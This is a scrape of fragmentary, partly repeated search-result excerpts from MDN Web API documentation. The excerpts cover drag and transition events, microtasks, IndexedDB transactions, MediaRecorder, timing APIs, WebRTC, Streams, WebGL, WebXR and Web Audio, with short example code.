...nter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondraglea...
HTMLElement: transitionrun event - Web APIs
en a css transition is first created, i.e. before any transition-delay has begun. ...
... event handler property ontransitionrun examples this code adds a listener to the transitionrun event: el.addeventlistener('transitionrun', () => { console.log('transition is running but hasn\'t necessarily
started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): el.ontransitionrun = () => { console.log('transition
started running, and will
start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, backgro...
...<div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transition
start and transitionrun events fire. const el = document.queryselector('.transition'); const message = document.queryselector('.message'); el.addeventlistener('transitionrun', function() { message.textcontent = 'transitionrun fired'; }); el.addeventlistener('transition
start', function() { message.textcontent = 'transition
start fired'; }); el.addeventlistener('transitionend', function() { mess...
...deventlistener('transitionrun', function() { message.textcontent = 'transitionrun fired'; }); el.addeventlistener('transition
start', function() { message.textcontent = 'transition
start fired'; }); el.addeventlistener('transitionend', function() { message.textcontent = 'transitionend fired'; }); the difference is that: transitionrun fires when the transition is created (i.e. at the
start of any delay). transition
start fires when the actual animation has begun (i.e. at the end of any delay). the transitionrun will occur even if the transition is canceled before the delay expires. if there is no transition delay or if transition-delay is negative, both transitionrun and transition
start are fired. specifications specification status comment css trans...
In depth: Microtasks and the JavaScript runtime environment - Web APIs
ed, of course, we know that computers have evolved into powerful multi-core systems, and javascript has become one of the most prolifically-used languages in the computing world. a vast number of the most popular applications are based at least in part on javascript code. to support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language.
starting with the addition of timeouts and intervals as part of the web api (settimeout() and setinterval()), the javascript environment provided by web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. to understand where queuemicrotask() comes into play here, it's helpful to understand how the javascript...
...ml += localgreeting(user) + "<br>\r"; } greetuser("mike"); greetuser("teresa"); greetuser("veronica"); this short program contains three execution contexts, some of which are created and destroyed several times over the course of the program's execution. as each context is created, it is placed on the execution context stack. when it exits, the context is removed from the context stack. upon
starting the program, the global context is created. when greetuser("mike") is reached, a context is created for the greetuser() function; this execution context is pushed onto the execution context stack. when greetuser() calls localgreeting(), another context is created to run that function. when this function returns, the context for localgreeting() is removed from the execution sta...
... actually a container within an <iframe>, it likely shares an event loop with the window that contains it. the windows happen to share the same process in a multi-process web browser implementation. the specifics may vary from browser to browser, depending on how they're implemented. tasks vs microtasks a task is any javascript scheduled to be run by the standard mechanisms such as initially
starting to execute a program, an event triggering a callback, and so forth. other than by using events, you can enqueue a task by using settimeout() or setinterval(). the difference between the task queue and the microtask queue is simple but very important: when executing tasks from the task queue, the runtime executes each task that is in the queue at the moment a new iteration of the event loop...
...e your code runs in the same thread, using the same event loop, as the browser's user interface, if your code blocks or enters an infinite loop, the browser itself will stall. even sluggish performance, whether caused by a bug or because of complex work being done by your code, can cause the user to suffer a sluggish browser. when multiple programs and multiple code objects within those programs
start to try to work at once, alongside a browser which also needs processor time—let alone time to render and draw the site and its own ui, handle user events, and so forth—everything becomes clogged up far too easily nowadays. solutions the use of web workers, which allow the main script to run other scripts in new threads, help to alleviate this problem. a well-designed web site or app uses wo...
Using microtasks in JavaScript with queueMicrotask() - Web APIs
uss microtasks, it's first useful to know what a javascript task is and how microtasks differ from tasks. this is a quick, simplified explanation, but if you would like more details, you can read the information in the article in depth: microtasks and the javascript runtime environment. tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially
starting to run a program, an event callback being run, or an interval or timeout being fired. these all get scheduled on the task queue. tasks get added to the task queue when: a new javascript program or subprogram is executed (such as from a console, or by running the code in a <script> element) directly. an event fires, adding the event's callback function to the task queue. a timeout or inte...
...when the javascript execution path reaches the top level, just before running callbacks. that means that any further calls to sendmessage() made in the interim will push their messages onto the message queue, but because of the array length check before adding a microtask, no new microtask is enqueued. when the microtask runs, then, it has an array of potentially many messages waiting for it. it
starts by encoding it as json using the json.stringify() method. after that, the array's contents aren't needed anymore, so we empty the messagequeue array. finally, we use the fetch() method to send the json string to the server. this lets every call to sendmessage() made during the same iteration of the event loop add their messages to the same fetch() operation, without potentially having other tas...
...ed by calls to log(), a custom function that simply outputs text to the screen. the code below schedules a timeout to occur in zero milliseconds, then enqueues a microtask. this is bracketed by calls to log() to output additional messages. let callback = () => log("regular timeout callback has run"); let urgentcallback = () => log("*** oh noes! an urgent callback has run!"); log("main program
started"); settimeout(callback, 0); queuemicrotask(urgentcallback); log("main program exiting"); result note that the output logged from the main program body appears first, followed by the output from the microtask, followed by the timeout's callback. that's because when the task that's handling the execution of the main program exits, the microtask queue gets processed before the task queue on wh...
...gram exits, since that's when the task exits and there's nothing else on the execution stack. ...
IDBTransaction - Web APIs
is it readonly or readwrite), and you access an idbobjectstore to make a request. you can also use an idbtransaction object to abort transactions. note: this feature is available in web workers. ...
.../idbtransaction" target="_top"><rect x="151" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbtransaction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} transactions are
started when the transaction is created, not when the first request is placed; for example consider this: var trans1 = db.transaction("foo", "readwrite"); var trans2 = db.transaction("foo", "readwrite"); var objectstore2 = trans2.objectstore("foo") var objectstore1 = trans1.objectstore("foo") objectstore2.put("2", "key"); objectstore1.put("1", "key"); after the code is executed the object store shou...
...store() returns an idbobjectstore object representing an object store that is part of the scope of this transaction. idbtransaction.commit() for an active transaction, commits the transaction. note that this doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made. commit() can be used to
start the commit process without waiting for events from outstanding requests to be dispatched. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. abort fired when an indexeddb transaction is aborted. also available via the onabort property. complete fired when a transaction successfully completes. also avai...
...hanged. read_write "readwrite" (1 in chrome) allows reading and writing of data in existing data stores to be changed. version_change "versionchange" (2 in chrome) allows any operation to be performed, including ones that delete and create object stores and indexes. this mode is for updating the version number of transactions that were
started using the setversion() method of idbdatabase objects. transactions of this mode cannot run concurrently with other transactions. transactions in this mode are known as "upgrade transactions." even if these constants are now deprecated, you can still use them to provide backward compatibility if required (in chrome the change was made in version 21). you should code defensively in case th...
Basic concepts - Web APIs
line keys; otherwise, it is using out-of-line keys. for the reference documentation on object store, see idbobjectstore. version when a database is first created, its version is the integer 1. each database has one version at a time; a database can't exist in multiple versions at once. the only way to change the version is by opening it with a greater version than the current one. this will
start a versionchange transaction and fire an upgradeneeded event. the only place where the schema of the database can be updated is inside the handler of that event. note: this definition describes the most recent specification, which is only implemented in up-to-date browsers. old browsers implemented the now deprecated and removed idbdatabase.setversion() method. database connection an operation ...
... time, so long as the writing transactions do not have overlapping scopes. the scope of transactions, which is defined at creation, determines which object stores the transaction can interact with and remains constant for the lifetime of the transaction. so, for example, if a database connection already has a writing transaction with a scope that just covers the flyingmonkey object store, you can
start a second transaction with a scope of the unicorncentaur and unicornpegasus object stores. as for reading transactions, you can have several of them — even overlapping ones. transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. you can abort the transaction...
... have several of them — even overlapping ones. transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. you can abort the transaction, which rolls back the changes made to the database in the transaction. and you don't even have to wait for the transaction to
start or be active to abort it. the three modes of transactions are: readwrite, readonly, and versionchange. the only way to create and delete object stores and indexes is by using a versionchange transaction. to learn more about transaction types, see the reference article for indexeddb. because everything happens within a transaction, it is a very important concept in indexeddb. to learn more abo...
...rties and values in that object or array can also be anything that is a valid value. blobs and files can be stored, cf. specification . range and scope scope the set of object stores and indexes to which a transaction applies. the scopes of read-only transactions can overlap and execute at the same time. on the other hand, the scopes of writing transactions cannot overlap. you can still
start several transactions with the same scope at the same time, but they just queue up and execute one after another. cursor a mechanism for iterating over multiple records with a key range. the cursor has a source that indicates which index or object store it is iterating. it has a position within the range, and moves in a direction that is increasing or decreasing in the order of record keys. for ...
MediaDevices.ondevicechange - Web APIs
device list changes. it displays in the browser window two lists: one of audio devices and one of video devices, with both the device's label (name) and whether it's an input or an output device. because the example provides a handler for the devicechange event, the list is refreshed any time a media device is attached to or removed from the device running the sample. ...
...ists: one of audio devices and one of video devices, with both the device's label (name) and whether it's an input or an output device. because the example provides a handler for the devicechange event, the list is refreshed any time a media device is attached to or removed from the device running the sample. ...
...one of video devices, with both the device's label (name) and whether it's an input or an output device. because the example provides a handler for the devicechange event, the list is refreshed any time a media device is attached to or removed from the device running the sample. ...
...rgin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directly to ondevicechange, so we won't go into any detail. ...
MediaRecorder - Web APIs
onstructor (if it was provided). methods mediarecorder.pause() pauses the recording of media. mediarecorder.requestdata() requests a blob containing the saved data received thus far (or since the last time requestdata() was called. after calling this method, recording continues, but in a new blob. mediarecorder.resume() resumes recording of media after having been paused. mediarecorder.
start() begins recording media; this method can optionally be passed a timeslice argument with a value in milliseconds. if this is specified, the media will be captured in separate chunks of that duration, rather than the default behavior of recording the media in a single large chunk. mediarecorder.stop() stops recording, at which point a dataavailable event containing the final blob of saved data ...
...ediarecordererrorevent interface, whose error property contains a domexception that describes the actual error that occurred. mediarecorder.onpause an eventhandler called to handle the pause event, which occurs when media recording is paused. mediarecorder.onresume an eventhandler called to handle the resume event, which occurs when media recording resumes after being paused. mediarecorder.on
start an eventhandler called to handle the
start event, which occurs when media recording
starts. mediarecorder.onstop an eventhandler called to handle the stop event, which occurs when media recording ends, either when the mediastream ends — or after the mediarecorder.stop() method is called. events listen to these events using addeventlistener() or by assigning an event listener to the oneven...
... codec. also available via the onerror property. ...
...diadevices) { console.log('getusermedia supported.'); var constraints = { audio: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var mediarecorder = new mediarecorder(stream); visualize(stream); record.onclick = function() { mediarecorder.
start(); console.log(mediarecorder.state); console.log("recorder
started"); record.style.background = "red"; record.style.color = "black"; } stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.background = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop...
MediaSource.setLiveSeekableRange() - Web APIs
end the end of the seekable range to set in seconds measured from the beginning of the source. ...
... end the end of the seekable range to set in seconds measured from the beginning of the source. ...
... end the end of the seekable range to set in seconds measured from the beginning of the source. ...
... end the end of the seekable range to set in seconds measured from the beginning of the source. ...
Navigation Timing API - Web APIs
re data that was very difficult to measure by other means such as time to unload a previous page, domain look up time, window.onload total time, etc. examples calculate the total page load time to compute the total amount of time it took to load the page, you can use the following code: const perfdata = window.performance.timing; const pageloadtime = perfdata.loadeventend - perfdata.navigation
start; this subtracts the time at which navigation began (navigation
start) from the time at which the load event handler returns (loadeventend). this gives you the perceived page load time. calculate request response time you can calculate the time elapsed between the beginning of a request and the completion of getting the response using code like this: const connecttime = perfdata.responseend - ...
...from the time at which the response was finished being received (responseend). ...
...ime at which the load event handler returns (loadeventend). this gives you the perceived page load time. calculate request response time you can calculate the time elapsed between the beginning of a request and the completion of getting the response using code like this: const connecttime = perfdata.responseend - perfdata.request
start; here, the time at which the request was initiated (request
start). ...
... specifications specification status comment navigation timing level 2 working draft adds performancenavigationtiming navigation timing recommendation initial definition. ...
PannerNode.refDistance - Web APIs
this value is used by all distance models. the refdistance property's default value is 1. syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.refdistance = 1; value a non-negative number. if the value is set to less than 0, a rangeerror is thrown. ...
...ecay until the sound moves past the reference point. ...
...all our test tones will last this many seconds const note_length = 6; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given refdistance // and schedules it to move away from the listener along the z (depth-wise) axis // at the given
start time, resulting in a decrease in volume (decay) const scheduletesttone = (refdistance,
starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0,
starttime); panner.positionz.linearramptovalueattime(z_distance,
starttime + note_length); osc.connect(panner) .connect(context.destination); osc.
start(
starttim...
...nst osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0,
starttime); panner.positionz.linearramptovalueattime(z_distance,
starttime + note_length); osc.connect(panner) .connect(context.destination); osc.
start(
starttime); osc.stop(
starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only
start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running thi...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
ach time the ice connection state changes during the negotiation process. the new ice connection state is available in the object's iceconnectionstate} property. bubbles no cancelable no interface event event handler property oniceconnectionstatechange one common task performed by the iceconnectionstatechange event listener: to trigger ice re
start when the state changes to failed. see ice re
start in lifetime of a webrtc session for further information. usage notes a successful connection attempt will typically involve the state
starting at new, then transitioning through checking, then connected, and finally completed. however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly fr...
...connected, and finally completed. however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly from the checking state to completed. this can happen when only the last checked candidate is successful, and the gathering and end-of-candidates signals both occur before the successful negotiation is completed. ...
... completed. however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly from the checking state to completed. this can happen when only the last checked candidate is successful, and the gathering and end-of-candidates signals both occur before the successful negotiation is completed. ...
...an be skipped, causing a connection to transition directly from the checking state to completed. this can happen when only the last checked candidate is successful, and the gathering and end-of-candidates signals both occur before the successful negotiation is completed. ice connection state during ice re
starts when an ice re
start is processed, the gathering and connectivity checking process is
started over from the beginning, which will cause the iceconnectionstate to transition to connected if the ice re
start was triggered while in the completed state. if ice re
start is initiated while in the transient disconnected state, the state transitions instead to checking, essentially indicating that the negotiation is ignoring the fact that the connection had been temporarily lost. state transitio...
Range.endOffset - Web APIs
the range.endoffset read-only property returns a number representing where in the range.endcontainer the range ends. if the endcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the
start of the endcontainer to the boundary point of the range. for other node types, the endoffset is the number of child nodes between the
start of the endcontainer and the boundary point of the range. this property is read-only. to change the endoffset of a range, use one of the range.setend methods. ...
... living standard no change. ...
... living standard no change. ...
... living standard no change. ...
Range.setEnd() - Web APIs
return value undefined. ...
... return value undefined. ...
... return value undefined. exceptions exceptions are thrown as domexception objects of the following types: invalidnodetypeerror the node specified by endnode is a doctype node; range endpoints cannot be located inside a doctype node. ...
...types: invalidnodetypeerror the node specified by endnode is a doctype node; range endpoints cannot be located inside a doctype node. indexsizeerror the value specified by endoffset is either greater than or equal to the length of the node or is less than zero. usage notes if the endnode is a node of type text, comment, or cdatasection, then endoffset is the number of characters from the
start of endnode. for other node types, endoffset is the number of child nodes between the
start of the endnode. example const range = document.createrange(); const endnode = document.getelementsbytagname('p').item(3); const endoffset = endnode.childnodes.length; range.setend(endnode, endoffset); setend() is commonly used in conjunction with set
start() to fully configure a range. specifications ...
Reporting API - Web APIs
up, and more flexible. a reportingobserver object is created using the reportingobserver() constructor, which is passed two parameters: a callback function that has available as parameters the reports available in the observer's report queue, and a copy of the same reportingobserver object, so observation can be controlled directly from inside the callback. ...
...he same reportingobserver object, so observation can be controlled directly from inside the callback. the callback runs when observation
starts an options dictionary that allows you to specify the type of reports to collect, and whether the reports that were generated before the observer was able to be created should be observable (buffered: true). methods are then available on the observer to
start collecting reports (reportingobserver.observe()), retrieve the reports currently in the report queue (reportingobserver.takerecords()), and disconnect the observer so it can no longer collect records (reportingobserver.disconnect()). reporting api interfaces reportingobserver create reportingobserver instances using its constructor, which can then be used to collect and access reports. repo...
...with a crashreportbody return value. ...
...e, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to
start observing reports using reportingobserver.observe(); this tells the observer to
start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( constraints, success, ...
Streams API concepts - Web APIs
to know. readable streams a readable stream is a data source represented in javascript by a readablestream object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from. there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to
start, pause, or cancel access to the stream. examples include video streams and tcp/web sockets. pull sources require you to explicitly request data from them once connected to. examples include a file access operation via a fetch or xhr call. the data is read sequentially in small pieces called chunks. a chunk can be a single byte, or it can be something larger such as a typed array of a certain s...
...to do whatever kind of operation you want to do on it. the reader plus the other processing code that goes along with it is called a consumer. there is also a construct you’ll use called a controller — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished). only one reader can read a stream at a time; when a reader is created and
starts reading a stream (an active reader), we say it is locked to it. if you want another reader to
start reading your stream, you typically need to cancel the first reader before you do anything else (although you can tee streams, see the teeing section below) note that there are two different types of readable stream. as well as the conventional readable stream there is a type called a byte stream ...
...ver the top of an underlying sink — a lower-level i/o sink into which raw data is written. the data is written to the stream via a writer, one chunk at a time. a chunk can take a multitude of forms, just like the chunks in a reader. you can use whatever code you like to produce the chunks ready for writing; the writer plus the associated code is called a producer. when a writer is created and
starts writing to a stream (an active writer), it is said to be locked to it. only one writer can write to a writable stream at one time. if you want another writer to
start writing to your stream, you typically need to abort it before you then attach another writer to it. an internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink...
...ffectively the same stream is written to, and then the same values are read. a simple example is a text decoder, where raw bytes are written, and then strings are read. you can find more useful ideas and examples in the spec — see transform streams for ideas, and this web sockets example. readablestream.pipeto() — pipes to a writable stream that acts as the end point of the pipe chain. the
start of the pipe chain is called the original source, and the end is called the ultimate sink. note: this functionality isn't fully thought through yet, or available in many browsers. at some point the spec writers hope to add something like a transformstream class to make creating transform streams easier. backpressure an important concept in streams is backpressure — this is the process by ...
User Timing API - Web APIs
mestamp in the browser's performance timeline. creating a performance mark the performance.mark() method is used to create a performance mark. the method takes one argument, the name of the mark (for example performance.mark("mark-1")). the mark's performance entry will have the following property values: entrytype - set to "mark". name - set to the "name" given when the mark was created.
starttime - set to the timestamp when mark() was called. duration - set to "0" (a mark has no duration). retrieving performance marks the performance interface has three methods that can be used to retrieve a mark: performance.getentries() returns all performance entries in the performance timeline. finding only mark entries requires checking each entry's entrytype for "mark". performance.gete...
...k(s) you want removed. if this method is called with no arguments, all mark type entries will be removed from the performance timeline. performance measures measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks. ...
...ark type entries will be removed from the performance timeline. performance measures measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks. creating a performance measure a measure is created by calling performance.measure(measurename,
startmarkname, endmarkname) where measurename is the measure's name and
startmarkname and endmarkname are the
start and end names, respectively, of the marks the measure will be placed between (in the performance timeline). the measure's performance entry will have the following property values: entrytype - set to "measure". name - set to the "name" given when the measure was created.
starttime - set to the timestamp when measure() was called. duration - set to a do...
...e placed between (in the performance timeline). the measure's performance entry will have the following property values: entrytype - set to "measure". name - set to the "name" given when the measure was created.
starttime - set to the timestamp when measure() was called. duration - set to a domhighrestimestamp that is the duration of the measure (typically, the end mark timestamp minus the
start mark timestamp). retrieving performance measures the performance interface has three methods that can be used to retrieve a measure: performance.getentries() returns all performance entries in the performance timeline. finding the measure entries requires checking each entry's entrytype for "measure". performance.getentriesbyname(name, entrytype) returns all performance entries in the pe...
A basic 2D WebGL animation example - Web APIs
ment shader. its role is to return the color of each pixel in the shape being rendered. since we're drawing a solid, untextured object with no lighting applied, this is exceptionally simple: <script id="fragment-shader" type="x-shader/x-fragment"> #ifdef gl_es precision highp float; #endif uniform vec4 uglobalcolor; void main() { gl_fragcolor = uglobalcolor; } </script> this
starts by specifying the precision of the float type, as required. then we set the global gl_fragcolor to the value of the uniform uglobalcolor, which is set by the javascript code to the color being used to draw the square. html the html consists solely of the <canvas> that we'll obtain a webgl context on. <canvas id="glcanvas" width="600" height="460"> oh no! your browser doesn't support canvas!
...ntscale = [1.0, 1.0]; // vertex information let vertexarray; let vertexbuffer; let vertexnumcomponents; let vertexcount; // rendering data shared with the // scalers. ...
... let vertexarray; let vertexbuffer; let vertexnumcomponents; let vertexcount; // rendering data shared with the // scalers. ...
...exbuffer; let vertexnumcomponents; let vertexcount; // rendering data shared with the // scalers. ...
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
s also entirely possible to perform more than one of these movements at the same time; for example, you can pan the camera while also zooming in on the scene. keep in mind that the majority of camera movements are described relative to the camera's reference space. the format for storing matrices is generally as a flat array in column-major order; that is, the values from the matrix are written
starting with the top-left corner and moving down to the bottom, then moving over to the right a row and repeating until all values are in the array. thus a matrix that looks like this: [a1a5a9a13a2a6a10a14a3a7a11a15a4a8a12a16]\left [ \begin{matrix} a_{1} & a_{5} & a_{9} & a_{13} \\ a_{2} & a_{6} & a_{10} & a_{14} \\ a_{3} & a_{7} & a_{11} & a_{15} \\ a_{4} & a_{8} & a_{12} & a_{16} \end{matrix} \rig...
...ersely, the far clipping plane is the distance in meters to a plane beyond which no vertices are drawn. to zoom using a scaling factor or percentage, you can map 1x (100% of normal size) to the largest value of fov you allow (which leads to the most content being visible), then map your maximum magnification to the maximum value of fov you support and map corresponding values in between. if you
start each frame's rendering pass by computing the perspective matrix, you can then multply into that matrix all the other transforms you need to apply in order to result in the frame's desired geometry. for example: const transform = createperspectivematrix(viewport, 130, 1, 100); const translatevec = vec3.fromvalues(-trackdistance, -cranedistance, pushdistance); mat4.translate(transform, transform, ...
...g pass by computing the perspective matrix, you can then multply into that matrix all the other transforms you need to apply in order to result in the frame's desired geometry. for example: const transform = createperspectivematrix(viewport, 130, 1, 100); const translatevec = vec3.fromvalues(-trackdistance, -cranedistance, pushdistance); mat4.translate(transform, transform, translatevec); this
starts with the perspective matrix representing a 130° vertical field of view, then applies a translation that moves the camera in a manner that includes track, crane, and push movements. scaling transforms unlike a true "zoom", scaling involves multiplying each of the x, y, and z coordinate values in a position or vertex by a scaling factor for that axis. these may or may not necessarily be identic...
...it later, by simply calling requestanimationframe() again. now it's time to render the scene. if we did successfully obtain a pose, we get the xrwebgllayer we need to use for rendering from the session's renderstate object's baselayer property. we bind this to webgl's gl.framebuffer target using the webglrenderingcontext method gl.bindframebuffer(). then we clear the framebuffer to ensure we're
starting with a known state, since our renderer will not be touching every pixel. we set the clear color to opaque black using gl.clearcolor() and the value to clear the depth buffer to to 1.0 by calling the webglrenderingcontext method gl.cleardepth(). then we call the webglrenderingcontext method gl.clear(), which clears the framebuffer (since we include gl.color_buffer_bit in the mask parameter) and...
Using IIR filters - Web APIs
ssor that implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers, and the filter response parameters can be specified, so that it can be tuned as needed. this article looks at how to implement one, and use it in a simple example. demo our simple example for this guide provides a play/pause button that
starts and pauses audio play, and a toggle that turns an iir filter on and off, altering the tone of the sound. it also provides a canvas on which is drawn the frequency response of the audio, so you can see what effect the iir filter has. you can check out the full demo here on codepen. also see the source code on github. it includes some different coefficient values for different lowpass frequenci...
...ficients as options (coefficients is how we describe the values). both of these parameters are arrays, neither of which can be larger than 20 items. when setting our coefficients, the feedforward values can't all be set to zero, otherwise nothing would be sent to the filter. something like this is acceptable: let feedforward = [0.00020298, 0.0004059599, 0.00020298]; our feedback values cannot
start with zero, otherwise on the first pass nothing would be sent back: let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; note: these values are calculated based on the lowpass filter specified in the filter characteristics of the web audio api specification. as this filter node gains more popularity we should be able to collate more coefficient values. using an iirfilter in an aud...
...ur context and our filter node: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = audioctx.createiirfilter(feedforward, feedback); we need a sound source to play. we set this up using a custom function, playsoundnode(), which creates a buffer source from an existing audiobuffer, attaches it to the default destination,
starts it playing, and returns it: function playsourcenode(audiocontext, audiobuffer) { const soundsource = audiocontext.createbuffersource(); soundsource.buffer = audiobuffer; soundsource.connect(audiocontext.destination); soundsource.
start(); return soundsource; } this function is called when the play button is pressed. the play button html looks like this: <button class="button-play" ro...
...}, false); the toggle that turns the iir filter on and off is set up in the similar way. ...
Using the Web Audio API - Web APIs
we'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning. the web audio api does not replace the <audio> media element, but rather complements it, just like <canvas> coexists alongside the <img> element. your use case will determine what tools you use to implement audio. if you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the web audio api. if you want to carry out more complex audio processing, as well as playback, the web audio api provides much more power and control. ...
...n place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility problems. you can learn more about this in our article autoplay guide for media and web audio apis. since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking. so, let's
start by taking a look at our play and pause functionality. we have a play button that changes to a pause button when the track is playing: <button data-playing="false" role="switch" aria-checked="false"> <span>play/pause</span> </button> before we can play our track we need to connect our audio graph from the audio source/input node to the destination. we've already created an input node by pa...
... do when the track finishes playing. our htmlmediaelement fires an ended event once it's finished playing, so we can listen for that and run code accordingly: audioelement.addeventlistener('ended', () => { playbutton.dataset.playing = 'false'; }, false); modifying sound let's delve into some basic modification nodes, to change the sound that we have. this is where the web audio api really
starts to come in handy. first of all, let's change the volume. this can be done using a gainnode, which represents how big our sound wave is. there are two ways you can create nodes with the web audio api. you can use the factory method on the context itself (e.g. audiocontext.creategain()) or via a constructor of the node (e.g. new gainnode()). we'll use the factory method in our code: const gainno...
... the nodes together: track.connect(gainnode).connect(panner).connect(audiocontext.destination); the only thing left to do is give the app a try: check out the final demo here on codepen. summary great! we have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph. this makes up quite a few basics that you would need to
start to add audio to your website or web app. there's a lot more functionality to the web audio api, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality. more examples there are other examples available to learn more about the web audio api. the voice-change-o-matic is a fun voice manipulator and sound visualiza...
Visualizations with Web Audio API - Web APIs
8; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); next, we clear the canvas of what had been drawn on it before to get ready for the new visualization display: canvasctx.clearrect(0, 0, width, height); we now define the draw() function: function draw() { in here, we use requestanimationframe() to keep looping the drawing function once it has been
started: var drawvisual = requestanimationframe(draw); next, we grab the time domain data and copy it into our array analyser.getbytetimedomaindata(dataarray); next, fill the canvas with a solid colour to
start canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); set a line width and stroke colour for the wave we will draw, then begin drawing a path canvasctx.line...
...we have one available in voice-change-o-matic; let's look at how it's done. first, we again set up our analyser and data array, then clear the current...
...arrect(). the only difference from before is that we have set the fft size to be much smaller; this is so that each bar in the graph is big enough to actually look like a bar rather than a thin strand. analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); next, we
start our draw() function off, again setting up a loop with requestanimationframe() so that the displayed data keeps updating, and clearing the display with each animation frame. function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); now we set ou...
...lower frequency range. we don't want to display loads of empty bars, therefore we simply shift the ones that will display regularly at a noticeable height across so they fill the canvas display. we also set a barheight variable, and an x variable to record how far across the screen to draw the current bar. var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; as before, we now
start a for loop and cycle through each value in the dataarray. for each one, we make the barheight equal to the array value, set a fill colour based on the barheight (taller bars are brighter), and draw a bar at x pixels across the canvas, which is barwidth wide and barheight/2 tall (we eventually decided to cut each bar in half so they would all fit on the canvas better.) the one value that needs ex...
Web audio spatialization basics - Web APIs
the 3d coordinate position of the listener's forward direction (e.g. the direction they are facing in), while the up properties represent the 3d coordinate position of the top of the listener's head. these two together can nicely set the direction. creating a panner node let's create our pannernode. this has a whole bunch of properties associated with it. let's take a look at each of them: to
start we can set the panningmodel. this is the spacialization algorithm that's used to position the audio in 3d space. we can set this to: equalpower — the default and the general way panning is figured out hrtf — this stands for 'head-related transfer function' and looks to take into account the human head when figuring out where the sound is. pretty clever stuff. let's use the hrtf model! con...
